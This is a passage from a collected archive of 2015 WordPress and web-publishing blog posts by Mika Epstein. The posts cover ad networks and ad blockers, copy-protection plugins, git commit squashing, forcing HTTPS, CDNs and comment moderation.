The *idea* behind the Deck Network is everything I want an ad network to be. They pride themselves of relevancy to their network and only show ads relevant to the network. They only show ads they’re okay with seeing. As mentioned before, it’s an incredible amount of work, but it’s exactly what you’d want to see in an ad network. Ads that people would rather be relevant than, nessecarily, make money.
That’s really kind of the same reason as my I like [Project Wonderful](https://halfelf.org/2015/site-advertising-project-wonderful/) so much. With Project Wonderful, though, the quality of the ads is a little crowd sourced. If enough of us report an ad, it will likely get pulled but it will always be reviewed. With The Deck, it’s the other way. Nothing gets in that isn’t vetted first.
The amount of work that goes into that is exactly why, every time anyone says “I’ll pay you to put my ad on your site” I say “No thanks.” The whole mess of running my own ads, having them expire and rotate and change, is a hassle I don’t want to mess with. I don’t want to spend my time running ads, and I’m a one-woman-show here, folks.
The balance between making money and having relevant ads is tricky. I think, for the tech world, The Deck gets it right. But I doubt any of us will ever be on it.
**Categories:** How It Is
**Tags:** advertising, essay
---
### [Stop Using Copy Protection](https://halfelf.org/2015/stop-using-copy-protection/)
**Published:** February 23, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Give up. The only full protection is not to post your image in the first place.
**Content:**
I’ve seen a million features out there to ‘prevent people from stealing your content.’ The idea is that by preventing people from (easily) copying your work, you stop them from stealing it and profiting off your efforts. You may even think that you’re saving your images from being stolen. In general, they use javascript to prevent things like right-click, view source, copying text, and disabling keyboard short cuts. In general, they suck and here’s why.
## User Experience
Anyone who uses a screenreader or an alternative mouse tool now, officially, hates you. You’ve made your site look like absolute crap. Some screen readers can no longer read your content at all. Also not everything handles javascript very well (which is by far the ‘most popular’ way to block out content) and that makes for a pretty lousy experience for your visitors.
## Support
If you have a problem with your website and ask the world at large for help, they will take one look and hate you. No one can easily help you with your CSS or your layouts or your design now, because you’re protecting content. When customers ask for help, the first thing I do is turn those plugins off so I can use my normal debugging methods and not worry about cruft interference.
## It Doesn’t Work
If you disable right-click, you make it harder for me to bring up Chrome’s dev tools, but not impossible. You can’t make it impossible. This is, in part, because there are so many different browsers to account for, but also because developers really don’t want you to be able to kill dev tools. We need them to fix the web, and if I were to leave the dev tools open and then visit your site I would be able to have it open on your site.
Once I have dev tools open, I can view the resources loaded by your page. Take Instagram, who doesn’t let you right-click on an image to download. I can instead right-click, chose ‘Inspect Element’ and I get this:
Guess what I can do now? Load that URL in another window, download, done. If that’s not available, I’ll go over to the Resources tab, open up the Instagram folder, then Images, and find the image I want. Again, done.
## There’s Only One Way
There is but one foolproof way to prevent your content from being stolen: Don’t publish it.
But of course no one wants to hear that. So what’s the other way? Well give up on not having your words stolen. Even if you make it difficult, people will get at it. People type up books and scripts today, they’ll do it for your website if they’re properly motivated. Images, on the other hand, are a different issue. If you’re a photographer, don’t put your full-sized images online unless you’re selling them. And if you *are* selling photographs, put them on a cloud host like Amazon. Large files and PHP aren’t the best of friends anyway. Your website, unless it’s a store, doesn’t need the 10meg image file.
As much as it pains me to say it, DRM is also a solution. So is watermarking your images. The way people like Getty protect their images is to lock it down to purchased users only. You can (fairly easily) download the smaller, sample images, but the awesome big ones are locked down.
But that’s how you protect your content. Not with those plugins.
**Categories:** How It Works
**Tags:** coding, plugins, security, wordpress
---
### [To Block or Not To Block](https://halfelf.org/2015/block-block/)
**Published:** October 5, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Thoughts on the issues of ads and their blockers.
**Content:**
Ad blockers. Okay.
I have ads in this site. I have donation buttons. I make more via the ads, naturally, and I use the money to offset the absolute frivolity it is to run a web server. I also use ad blockers.
And I also understand the worry of ad blockers on iOS because I see the possible loss of income.
But.
My ads are not obtrusive. I hope. I test them a lot on browsers. I don’t display them on smaller ones. I am picky about the ads. I don’t have pop-up/lightbox ads or alerts that congenially prompt people to sign up for a mailing list or try a service. I hate those things. They get between me and the content I’m trying to read. They prevent me from visiting sites. And if you’ve tried to click away an ad like that on your iPhone, you know my pain. Let’s not even get into the accessibility problems.
No, ethically I chose not to host the ads I hate.
And I lose money because of that.
A lot of money. Probably a hundred a month, easy. And I’m personally okay with that, because I *can* afford this website. I have the money to keep it up, and for what it costs me, it’s cheaper than other hobbies. It’s helped turn a hobby into a career.
But the same cannot be said of all websites. Many need those ads to survive and flourish.
So in the balance between content and money, with accessibility and speed on the line, what is the right answer? Who is more important? Where is the right path to earn money while showing ads and not pissing off readers?
And I’m not the only person who has trouble with this balance. The developers of Peace, an iOS ad blocker, pulled his product after two days, saying [it didn’t feel good](http://www.marco.org/2015/09/18/just-doesnt-feel-good). He doesn’t like being the person who gets to decide what ads are right and wrong. That said, Marco is still a proponent of blocking [for the ethical reasons of knowing who’s tracking you](http://www.marco.org/2015/08/11/ad-blocking-ethics).
Disclosure time! I use an blocker on my computer. It’s µBlock, which Taylor Swift also uses:
> I have moved from using Adblock Plus to µBlock
> Github/about:
> Extension:
>
> — SwiftOnSecurity (@SwiftOnSecurity) [January 25, 2015](https://twitter.com/SwiftOnSecurity/status/559155450583990272?ref_src=twsrc%5Etfw)
But the truth is I actually block few things. It’s not that I want a blocker but I want an unobstructor tool. Just like we despised pop-ups, I hate the following things:
1. Ads that redirect my iPhone to the App Store to buy your stupid game
2. Ads that cover my entire browser window, forcing me to click away
3. Ads that autoplay, making me scroll the hell around and figure out what I have to turn off
4. Ads that popup in the background, making me address them before I can read
If you can’t see a trend, let me explain it for you. I hate all things that pull me away from your *content*.
The New York Times has reported on this: [Enabling of Ad Blocking in Apple’s iOS 9 Prompts Backlash](http://www.nytimes.com/2015/09/19/technology/apple-ios-9s-enabling-of-ad-blocking-prompts-backlash.html)
> “When ad blockers became the most downloaded apps in the App Store, it forced publishers and advertisers to rethink the role that advertising plays on the web,” said David Carroll, an associate professor of media design at the Parsons School of Design.
That illustrates the issue. It’s not that we hate ads. Most of us understand them as a necessary evil. We pay for Netflix to get fewer ads. We pay for cable to get higher quality shows… in theory. We get ads with free TV because it’s free and has to make money. We get ads on newspapers and in magazines because they are surprisingly low cost for what they are. Ditto comic books.
We *know* and we understand why ads are there. We rebel because the ads make it impossible to get at the content. The thing we came for.
I don’t have an answer. I know that, sometimes, I actually do click on ads that interest me. I also know that most of the time people don’t click on ads. I know that many sites need ads to keep going and to keep delivering content. But I know what we’re doing, making ads more and more in your face, is not the right way to win.
Right now I have no iOS ad blocker. I haven’t found one I like yet. I’m sure that will change.
**Categories:** How It Is
**Tags:** advertising, essay, website
---
### [Changing Git History](https://halfelf.org/2015/changing-git-history/)
**Published:** September 30, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's back to the future when you make too many commits in git!
**Content:**
Working on a group project in Git, I did the smart thing with my code. I made a branch and proceeded to edit my files. I also did a dumb thing. I made four commits.
The first was for the first, ugly, functional version of the code. The second was a less ugly, kind of broken version. The third was the rewrite and the fourth was the working version. When I wanted to submit my changes for a review, it was going to be ugly. I did not need or want people looking at four commits They only wanted the one.
Now I’m a weird person for how I do commits. I add a new feature like a new function to parse things, and I commit that. Then I change my CSS and commit that. And so on and so on. This means I can look through my commit history and see exactly when I made a change. When I’m ready to do my release, I document all the changes based on that commit log and have it as my message.
But when you’re working with a team, and all they want is one clean commit? Well I’m their worst nightmare. There is a cure for this, though! You can squash your commits, merging them all into one.
## Squash
Actually it’s rebase. It can be squash too, though. I ran the following command which says to rebase my last 4 commits:
That opens up another editor
Now here’s where it’s weird. The first one, `b17617p` is the one I have to merge everything into. And it has the worst commit message, doesn’t it? Oh and I was totally not using the right formatting for how the company wants me to format my commits. They want the comment to be “Feature: Change” so I would have “Humans: Added new feature to autogenerate humans.txt”
Since I knew I wanted to merge it all and totally rewrite the commit, I just did this:
Which, once saved and exited, gave me this:
Since everything with a `#` is ignored, I deleted it and made it this:
Yeah, that’s it. Admittedly, these should be two separate changes, but they’re all a part of the same project in this case so it’s okay.
Of course, at the end of this, I looked at my code on our web tool and swore, because I’d left a debug line in. My hero Mike said “Don’t worry! ammend!”
I made my change, instead of a normal `git commit -a -m "These are my changes"` I ran a `git add FILENAME` and `git commit --ammend` to [fix up your most recent commit](https://www.atlassian.com/git/tutorials/rewriting-history/git-commit--amend/).
> It lets you combine staged changes with the previous commit instead of committing it as an entirely new snapshot. It can also be used to simply edit the previous commit message without changing its snapshot.
And yes, it’s pretty awesome. Use it wisely.
**Categories:** How To
**Tags:** coding, command line, development, git
---
### [Custom Excerpts Read More for Genesis](https://halfelf.org/2015/custom-excerpts-read/)
**Published:** September 28, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Adding in 'read more' for a custom excerpt on Genesis.
**Content:**
I nearly always make a custom excerpt for every post I write. This has the benefit of letting my lede be extended into a great sub-headline. It has the downside of killing my ‘Read More’ links.
The objective is simple. Have a custom excerpt *and* a read more link. The problem is that there are multiple excerpts and WordPress handles them all in different ways.
1. The teaser – This is what you write in a post and end with a `` tag.
2. The automatic excerpt – This is the first 55 words of a post.
3. The custom excerpt – This is what you put in the ‘excerpt’ box on a post.
Those are parsed in reverse order, so the custom excerpt is given the highest priority. That means in order to show my read-more links, I need to put this in my theme’s `function.php` file:
But. I’m using StudioPress’ Genesis theme. This means I’d like to take advantage of some of the awesome accessibility friendly features so that my read more link looks like this:
Okay, cool. How do I do that? Back in the old days, this was how you’d edit the link for Genesis:
As of Genesis 2.2, we’re into a world of properly accessibility friendly code, and the function `get_the_content_limit()` has a major change where it calls `genesis_a11y_more_link` and that is the function that added in the span for the screen-reader, which requires me to add in the `genesis-accessibility` theme support for my theme.
And as far as it goes, that’s perfect. It makes sure everything matches nicely and is accessibility friendly. But it doesn’t take care of my custom excerpts. For that I need a force command:
If there was an `genesis_after_entry_excerpt` sort of function to hook into, I’d be happier, but this works. It puts a *\[Continue Reading\]* paragraph at the end of each of my excerpts for my front page, my archives, and *not* my individual pages. This helps my readers who are, perhaps, not always as aware as they might be about where to click.
**Categories:** How To
**Tags:** coding, themes, wordpress
---
### [Mailbag: An Appropriate Solution](https://halfelf.org/2015/mailbag-appropriate-solution/)
**Published:** September 25, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Be prepared for what you're getting into.
**Content:**
Y’all know I don’t really like to answer these questions. I mean. Presumably you’ve noticed I don’t answer this a lot anymore?
[I don’t care if you use Multisite](https://halfelf.org/2014/dont-care-about-multisite/). And I hate this question because you’re (innocently) asking me one of the most incredibly complicated questions possible.
> I’m working with a college who wishes to create a portfolio system for their students. Basically, a student can create their own website – or multiple – to share with employers and others. I’m thinking WP Multisite may be a good option. I could have super admin access, the college’s admin can have super admin access, and each student will have admin access to their individual sites. Would you agree that WP Multisite would be an appropriate solution?
I agree it *can* be *an* appropriate solution.
I will never agree it’s *the* solution.
Read the post I linked to above, will you? The one that explains exactly why this is such a damned hard thing to answer.
Now. Ask yourself this:
1. Are those students the people who will be happy where they can’t install a plugin or a theme, or will they badger you endlessly to install them?
2. Will those students ever want to easily export/move their sites?
3. Will they ever need ‘more’ than WordPress and, thus, need shell or DB access?
4. What do you want them to be able to do when they’re done?
5. How much time do you have to fix their sites?
6. Are you able to review and ensure security for all plugins and themes they may want?
7. Do they already have webhosting? (Most universities give you some.)
Figure that out and you’ll know if it’s the most appropriate solution for them and you.
**Categories:** How It Is
**Tags:** mailbag, multisite, wordpress
---
### [Stupid Easy](https://halfelf.org/2015/stupid-easy/)
**Published:** September 23, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Who are you writing your code for? How will they use it? Do they need simple or complex?
**Content:**
> You have made yet-another stupidly easy plugin. I love it!
My buddy James said that after testing a plugin I wrote for WordPress that has no settings.
Frankly those are my favorite plugins, the ones where you install them and walk away because they do one thing, they do it well, and you’re done.
A plugin without options means it does the one thing, I don’t have to decide how I want it to work, and it just goes. Now, at the same time, a black box plugin with no information can be complicated and tricky, which means you have to sit and make the decisions thoughtfully at the beginning.
The first question I ask is “Who is it for?”
I love W3TC, but dear god is it complicated. It’s doing a lot of things and while it does them all very well, it’s hard to understand what all the settings mean and how they all need to work together. When I set about adopting a Varnish plugin, it was picked by my coworkers specifically because it was simple and it worked the majority of the time. Can you break it with other plugins and themes? Sure. That’s the nature of WordPress interoperability. But at the same time, it works without user interaction.
That was the key, we felt. A plugin that just runs, no user interface needed, just let it go. This was simple, this was easy, and this was direct.
Since then, I’ve added in two ‘options.’ One is the ability to define your true IP address. This is for people who are behind proxy services like CloudFlare. The way a Varnish purge works, is it sends a command to the domain name. If your domain is handled by CloudFlare’s servers, then it gets messy. The second was a ‘purge all’ button on the toolbar, which let you manually flush the entire site.
Those two settings are hard and easy to access. The defining the IP can only be done via editing your `wp-config.php` or via command line. Why? The majority of people don’t need it. It’s actually often a latency issue when you cache a cache with a proxy, so it’s not really the best idea in the first place. The purge button is limited only to the admins of a site, because they’re the only ones who should be flushing the cache for an entire site anyway.
Does this work for ‘everyone’? No. No it doesn’t. Of the 6000 people who like it just fine, there are about a dozen who want things differently. They want a settings page, where they can allow more people to flush cache and define the IP. They want a per-page flush button. They want better error reporting.
I’m with them on the last one but the others… well it’s interesting. Adding more complications will certainly expand the usability of the plugin, but is that the goal of *this* plugin? No. In many ways, it would be much better to make a second, different, plugin. Maybe an add-on. Call it “Varnish Advanced” for those people who need more power.
But the majority need the simple because I knew my target audience were the people who didn’t know or want to know the technical stuff. I handed them a plugin that works in the majority of use cases. I made sure it handled the majority of situations. And I made it so they could just install and walk away.
I do agree that it needs a little better error reporting, but even that has to be handled carefully. You can’t just hand an end-user an error without simultaneously giving them a direct way to correct it. And no ‘Talk to your host.’ is not a fix. A fix means the user can do something (hopefully simple) to correct a problem. Now, my ‘edit the `wp-config` file’ fix is not super simple for everyone, but at the same time it serves an important purpose. It makes someone think about how big a change is and what it means.
Knowing my users means I know they need that stop to think, and it means I know they *will* think.
**Categories:** How It Is
**Tags:** design, development, essay, wordpress
---
### [HTTPS and WordPress](https://halfelf.org/2015/https-wordpress/)
**Published:** September 9, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You can set up HTTPS on WordPress smartly or less smartly. Let's be smart.
**Content:**
Really there’s a right way and a not-quite-as-right way to handle HTTPS on WordPress. It’s not that hard to do, and if your whole site is going to be HTTPS, then the easiest way is to change your home and site URLs to be `https://example.com/` and put `define( 'FORCE_SSL_ADMIN', true );` in your `wp-config.php` file. Then you should (if this is an existing site) search your database for the old HTTP url and change that to HTTPS.
Seriously, that’s it. That tells WordPress to be HTTPS all the way and you’re done. Of course, that doesn’t actually work 100% for everyone, because there are some silly plugins and themes that do things like this:
The problem there is they’ve defined the script as HTTP and if your site is HTTPS then you’re going to get mixed content messages. And the real issue here is that means your connection is only *partially* encrypted! That non-encrypted content is accessible to sniffers and can be modified by man-in-the-middle attackers. This, clearly, is not safe anymore. The right way to do your enqueues is with protocol relative URLs:
Alternately you can just use the HTTPS url, because that won’t break HTTP visits and it won’t make anything *less* secure.
But. Since you really can’t go in and edit all your themes and plugins, the plugin [WordPress HTTPS](https://wordpress.org/plugins/wordpress-https/) is the way to go. That can force everything around. I know it’s not updated in a long time, but it still works. I keep thinking I’ll fork and clean it up… Well in my free time. The point of that plugin is that it lets you force everything to HTTPS, and will rewrite things on the fly. It’s a good idea.
Instead of using the plugin, I’ve seen a lot of people do this in their `.htaccess`:
In and of itself, this isn’t wrong. This forces everything HTTP to redirect to HTTPS. The problem is you’re still actually sending data from WordPress over HTTP *first*, and you’re right back to opening up to man-in-the-middle attacks because the data from WordPress goes from HTTP first and that’s, say it with me kids, insecure!
Now that said. This should be okay for most things. The POST calls should be sent securely, and all you should see on the return end is everything after that 301 redirect, but we can’t be absolutely sure about this. My buddy Jan [used mod\_substitute to force HTTPS](https://blog.dembowski.net/2014/better-ssl-with-mod_substitute/) (back before he moved to nginx). His code looks like this:
In doing this, he doesn’t need to worry about the HTTPS plugin I mentioned, because it forces everything with a `src` attribute to be protocol relative. He also doesn’t have to search/replace his content if he doesn’t want to, which makes switching *back* easier. If you wanted to do that. But as Jan pointed out to me, he switched to nginx because it’s easier and supports variable substitutions.
Should you use .htaccess or nginx to force https instead of a plugin? That’s totally up to you. I use the plugin since I trust it to only mess with WordPress and not anything else I may have lying around. Also since my domains are often more than just WordPress, it’s a little easier for me to segregate their control. The flip side to this is that WordPress doesn’t redirect http traffic.
By this I mean if you turn your whole site to HTTPS properly, you can still go to `http://example.com/this-is-a-page/` and WordPress will load it *as* HTTP. This is and is not a bug. WordPress is (properly) trusting your server to tell it what it should be. Your server is saying “Be HTTP or HTTPS! Whatever!” Now there *is* a trac ticket to have [`FORCE_SSL` really force SSL](https://core.trac.wordpress.org/ticket/28521) but that’ll be a while because there are a lot of complications in that change.
So yes, for now, I would use `.htaccess` to add an extra later of SSL forcing, but with a bit of caution. If you’re proxying HTTPS (like you’re on a Varnish cache behind something like Pound or nginx) then you may need to use this code for your .htaccess redirect.
The reason for this is Apache can’t always see SSL if it’s not in charge of it (because it’s proxied or handled by a load balancer), and to teach it where it really lives. The trick there is the code I just showed you may not be right because every server’s a little different. There’s a great [StackOverflow post on the problems of redirect loops while forcing https](http://stackoverflow.com/questions/18328601/redirect-loop-while-redirecting-all-http-requests-to-https-using-htaccess/) that you should read.
Good luck, and safe HTTPSing!
**Categories:** How To
**Tags:** domain, security, wordpress
---
### [On Site Advertising: Affiliates](https://halfelf.org/2015/site-advertising-affiliates/)
**Published:** September 7, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Basically I'm really bad about these.
**Content:**
*This is related to a series of reviewing on-site advertising I have used: [Project Wonderful](https://halfelf.org/2015/site-advertising-project-wonderful/), [Google Adsense](https://halfelf.org/2015/site-advertising-google-adsense/), [WordAds](https://halfelf.org/2015/site-advertising-wordads/).*
So what about those affiliates?
Affiliates are simply links to other sites that earn you money because, after clicking on your link, they buy something. And in my experience, they are never going to be the big money earners.
I’ve used the following, in no particular order:
- Amazon
- [StudioPress.com](http://www.shareasale.com/r.cfm?b=346200&u=728549&m=28169&urllink=&afftrack=) (themes)
- [Easy Digital Downloads](https://easydigitaldownloads.com/?ref=3359) (ecommerce solution)
- [Sucuri](http://affl.sucuri.net/?affl=80318fc21285587a2b6888eaabdb28fb) (site security)
- [Liquidweb](http://www.liquidweb.com/?RID=JFO123) (web hosting)
- [Namecheap](http://www.namecheap.com/?aff=32035) (domains)
- [Utility Pro](https://store.carriedils.com/downloads/utility-pro/ref/8) (theme)
All those links are affiliate links, by the way.
Unless I’m making a post that has a direct link to them, like I’m discussing them specifically, they don’t get a lot of traffic. The problem is, like ads, where do you put affiliate links for the best traction?
In a weird way, links like those are why spammers spam links. They trust people will click on the random links and buy a product. If you turn your affiliate links into banner ads, then you can be more successful, but now you just have more and more cluttering up your site.
This is pretty much why I suck at them, though. I don’t enjoy marketing. I hate the push of sales. The way I buy things is I look around, I ask around, and I test. I know what features I want and, if I don’t, I actually do ask people for help understanding them.
I’ve read multiple essays on how to effectively be an affiliate, and the advice boils down to what [CopyBlogger says](http://www.copyblogger.com/smart-people-affiliate-marketing/) about being honest and authentic.
But I do reviews rarely, which means affiliate links are just these links that sit around and look link ‘powered by’ links, which they really are. I will say that I don’t have an affiliate link for anything I don’t use.
**Categories:** How It Is
**Tags:** advertising, review, website
---
### [CDN vs Local](https://halfelf.org/2015/cdn-vs-local/)
**Published:** September 21, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The ultimate answer is "I do not know."
**Content:**
Which is better?
I have no idea.
Sorry. That’s not the end of the post, obviously, but really after the time it took to write this, my answer is that I really don’t know. So let’s talk about why I don’t know.
The claim is this: “A CDN is faster!” The idea here is that a CDN will be faster because it lessens the load on your server. Anything that’s being process by another server means less work yours has to do. And that is totally true. Also, many CDNs have worldwide locations, which means someone in India can download your cat video from a nearer server than yours in Michigan. Also, more people have downloaded shared resources (like Google fonts) so it won’t be downloaded again, making their experience faster.
And all that sounds great. But the actual functionality and performance gains are not going to be exactly tit for tat. At first, I thought that since I get a lot of traffic in Brazil, having a CDN that has local servers would be great for them. It was. A little. But it was a *lot* worse for me. Using my site in the US slowed down measurably. This was because of the latency of the CDN being worse than my own server.
In addition, many site speed tests measure how many URLs you call in your page. Using a CDN ups that by one. It’s minor, but it’s something to consider. There’s also the idea of branding, which a CDN can hurt if you use it wrong (most CDNs will allow you to use cdn.yourdomain.com of course). Using too many servers for a CDN (think of it like `cdn1.example.com`, `cdn2`, and so on) can slow down the user experience too and cause overhead with all the DNS lookups.
What’s the alternative? Good caching. And I do think that proper, server side caching is hugely important. But at the same time, the right network for your static files can provide significant improvements. Which is why we always end up back at CDNs.
The real thing to consider is what your content is on that CDN. WordPress is dynamic content and shouldn’t be on a CDN. Images and stylesheets, though, those are perfect for a CDN. You take the traffic and, thus, the load off your server and it becomes faster. Streaming video too.
Which brings us around to the idea of the cloud as a CDN.
But is it *faster*? Is it better? Is it safer?
Maybe. It certainly can be, but there is no blanket perfect answer for all of us.
Currently I build local but prepare for the possibility of a CDN later on.
**Categories:** How It Works
**Tags:** design, essay, hosting
---
### [Mailbag: Curbing Comments By Count](https://halfelf.org/2015/curbing-comments-count/)
**Published:** September 18, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I do moderate. And I use tools for it. So can you!
**Content:**
Someone had a rant in my mailbox about my strong stance on comment moderation, which can be distilled to this question:
> I noticed you really have strong opinions on comment moderation. Do you use anything other than bad words to flag for moderation or outright block?
Sure do!
I’m very careful about ‘bad words’ since ‘anal’ will also pick up ‘canal’ and I only moderate for for things that are generally only used as a pejorative. Example? Okay, I have ‘dyke’ and ‘kike’ in my mod list. The first one I get called a lot. Still. The second has fallen out of favor. But because people have a remarkable talent to say words with the sole intent to be hurtful, even under the veneer of “I was just being funny, stop being so sensitive!” I have cherry-picked the popular ones on my sites and tossed them into moderation.
The only thing I blacklist are people. People’s emails (and user names sometimes) go into the blacklist. That’s why I wrote [Sitewide Comment Control](https://wordpress.org/plugins/sitewide-comment-control/), I’m able to blacklist people from the whole network easily. But I only use this for people. People should be blacklisted when they prove themselves to be untrainable.
That leaves one thing up in the air and that’s moderation. You have three choices with default WordPress: Moderate all, moderate un-approved, moderate none.
I have “moderate un-approved” which means I have to manually approve all first time comments. To add on to that, I use [Comment Probation](https://wordpress.org/plugins/comment-probation/) in order to restrict people I’m not entirely sure about.
And finally, I moderate by length.
I month ago, I mentioned on Twitter that I was playing with an idea to have my comments moderated by length. If a comment was over X words long, it should be flagged as needing approval before showing.
Caspar Hübinger, in the time it took me to get a cup of coffee, wrote [Comment Moderation by Word Count](https://github.com/glueckpress/comment-moderation-by-word-count/). I made one, small, patch to it, and I’m using it now.
> This simple WordPress plugin will send any comment that would otherwise be approved automatically by WordPress to the moderation queue if it contains more than a given number of words.
The theory I have is this: If your comment is over a certain length, you really may want to consider making it a rebuttal blog post of your own. My limit is currently set to 250 words here, which is half a page of content.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/09/moderation.png)
My one change was this:
> If `current_user_can( 'edit_posts' )` then they should be able to leave a comment of any length without moderation.
My theory here was that admins and editors are trusted users.
And now you know!
**Categories:** How It Is
**Tags:** administration, mailbag, plugins, wordpress
---
### [On Site Advertising: WordAds](https://halfelf.org/2015/site-advertising-wordads/)
**Published:** September 2, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** WordAds, while a beta product, was just not usable enough.
**Content:**
*This is part of a series of reviewing on-site advertising I have used: [Project Wonderful](https://halfelf.org/2015/site-advertising-project-wonderful/), [Google Adsense](https://halfelf.org/2015/site-advertising-google-adsense/), [WordAds](https://halfelf.org/2015/site-advertising-wordads/).*
My experience with [WordAds](https://wordads.co/) has been a little spotty. In terms of revenue, it’s far superior to ProjectWonderful. That said ProjectWonderful (and Google Adsense) have some aspects that make WordAds less than attractive.
I used WordAds for about 13 months, and while I loved the plugin they made, and I loved the support, the problems I have are with the system and the quality of ads. I want to stress that this is a ‘review’ of their beta product. I knew what I was getting into with a beta, but there were issues with the system that went beyond what I’d normally accept for a beta.
A beta is expected to be functional and usable if buggy. WordAds was functional, but I had no control and no information, which made it unusable.
I had no control over ad placement, which normally I would say is the ‘fault’ of the plugin, but in reality it’s clearly the decision of the service. It provides two ads: one below the first post on an archive page and one below the post content itself on a single post. The ads are exactly the same shape. Most of the time this is fine. On some of my sites, which use ‘non traditional’ layouts, it made them very, very janky.
Additionally I have no control over what ads show. The default ads tended to lean towards ClickBait. I don’t like that, but it’s pretty minor since default ads always kinda suck no matter what system you use. Still, I couldn’t pick and close ads I found offensive. The winner for this service is Project Wonderful. For WordAds I had to right click, get the information of what had loaded, and send that in to get it blocked. Given that most users just say “Did you know you had a Rand Paul ad on your site?” this was impossible to manage for me.
When I combine this with the lack of information … Here’s the ultimate reason I called it quits. There’s no dashboard. There is no way for a user to see analytics. I had no way see what ads are doing well and where which means I could never evaluate the impact of them on my layout. Like many professionals, I review SEO impact and ad displays. I couldn’t do that at all on WordAds to the point that they had to email me a report of my earnings.
I was told the manual emailing of revenue was a temporary stop-gap while the new system was put in place. Six months later, not only was I still getting emails, but I actually didn’t get one for a month and had to politely ask someone on staff. They were, as always, totally awesome about it, but I felt the underlying current was they too were feeling the strain of a lack of automation. It felt like there was no managerial and resource investment in what should be a killer product.
Having earnings be a black box is a crappy user experience. Having analytics be a ‘just trust us…’ world is useless if I want to improve my site quality and revenue. I’m all for set-it-and-forget-it (which is ironically why I love the plugin), but the user experience for the service itself was disheartening.
## Review
- Ease of Registration: 4/5
- Ease of use (on WordPress): 5/5
- Ease of use (non WordPress): 0/5
- Customizable: 0/5
- Control: 1/5
- Analytics: 0/5
- Revenue: 3/5
When they get out of beta, I may check them out again, but right now I don’t feel comfortable having my eggs in an invisible basket.
**Categories:** How It Is
**Tags:** advertising, review, website
---
### [On Site Advertising: Google Adsense](https://halfelf.org/2015/site-advertising-google-adsense/)
**Published:** August 31, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The grand pappy of all ad networks still holds up.
**Content:**
*This is part of a series of reviewing on-site advertising I have used: [Project Wonderful](https://halfelf.org/2015/site-advertising-project-wonderful/), [Google Adsense](https://halfelf.org/2015/site-advertising-google-adsense/), [WordAds](https://halfelf.org/2015/site-advertising-wordads/).*
[Google Adsense](http://google.com/adsense/) is the grand daddy of ad systems, and if you can use it, it’s got the highest rewards. In the last 3 years, they’ve streamlined and upgraded and made the system incredibly nice to work with.
I stopped using Adsense for the 3 years prior to this experience because I was frustrated with the lack of control. That’s far less the case today. You can now allow and block ads far more granularly than before. You can blacklist specific domains or specific types of ads. While it’s a little derpy to get the URLs, I was able to blacklist some anti-gay sites right away.
Even though I still wish they’d just blacklist those people from making money in the first place (not Rand Paul, the hate sites), Google’s doing a much better job than they used to, and I feel morally better about it.
Of course, while there are a bajillion WordPress plugins for it, there’s no official Google Plugin and because of that, I don’t use any plugin. The same code I wrote up for [Project Wonderful](https://halfelf.org/2015/site-advertising-project-wonderful/) is easily applied to how I want to use Google Adsense.
Also Adsense remains the highest earner of any revenue stream I’ve used. Their current system even includes a scorecard, updating regularly, that explains how your site is doing:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/08/google-scorecard.png)
That ‘Site Health’ score being a 4 is due to WordPress putting ‘[render blocking javascript](https://developers.google.com/speed/docs/insights/BlockingJS)‘ in the header. I’ll live. Everything else is fine.
The interesting thing about Adsense is that Google’s rolling out something new. [Google Contributor](https://www.google.com/contributor/welcome/). And if you have adsense then it’s already on:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/08/google-conributor.png)
I’m not entirely sure how it works, and I kind of want to see it be such that people can pick a site to sponsor, but the idea is a game changer I’m excited for. This alone was why I went *back* to Adsense.
## Review:
- Ease of Registration: 4/5
- Ease of use (on WordPress): 3/5
- Ease of use (non WordPress): 3/5
- Customizable: 5/5
- Control: 3/5
- Analytics: 5/5
- Revenue: 4/5
Adsense is old, but it’s aged well and Google’s treating it with love. It makes money, they appreciate that, and it shows.
**Categories:** How It Is
**Tags:** advertising, review, website
---
### [On Site Advertising: Project Wonderful](https://halfelf.org/2015/site-advertising-project-wonderful/)
**Published:** August 26, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Project Wonderful is really pretty awesome and has a lot of features. Now if only their revenue and style were the tops.
**Content:**
*This is part of a series of reviewing on-site advertising I have used: [Project Wonderful](https://halfelf.org/2015/site-advertising-project-wonderful/), [Google Adsense](https://halfelf.org/2015/site-advertising-google-adsense/), [WordAds](https://halfelf.org/2015/site-advertising-wordads/).*
I found [Project Wonderful](https://www.projectwonderful.com) by accident. It was linked to on some comic book and fan sites I visit. For the most part, Project Wonderful is Project Pretty Good. It’s goofy, it’s silly, and most of the ads you get are for webcomics or ebooks.
Revenue from it is also chancy at best. I average pennies a day, but I have a lot of control and I like that which is part of why my revenue was so low. I set it up so I have to approve every single ad and ad change, which is exceptionally time consuming. This also causes lower revenue, but the primary reason I like it is that control.
I can block users, I can report them for scams or bait-and-switch, and I have a very wonderful rapport with the staff there. They’ve told me before that they appreciate my reports. If I change my mind about an ad, it’s a little tricky but I can go and find it and reject it after the fact.
There’s no plugin for this ad network. You have two bits of code to put on your site, the basic Project Wonderful JS that loads their commands and then the code for each ad-block. It’s pretty trivial to make a plugin for it, and in fact I made a shortcode that allows me to run `[pwads id=name]`, where name is the name of the adbox. It’s a very basic switch check and sanitize and it works fine for me.
This code is also accessible outside of WordPress because the shortcode is calling a separate file (like `/secret/ads/projectwonderful.php` ) which I can then use with sneaky includes. But that’s another post. What must be known here is that I have it working in and out of WordPress with the same code base.
The biggest problem with Project Wonderful is that it feels like 1999. The site is old and dated. The interface is clunky and has a crappy UX if you’re on a tablet. Don’t bother with a phone.
The welcome page is pretty nice:
[](https://halfelf.org/wp-content/uploads/sites/2/2015/08/pw-02.png)
You have links to all your ads, you can click on them for more ads:
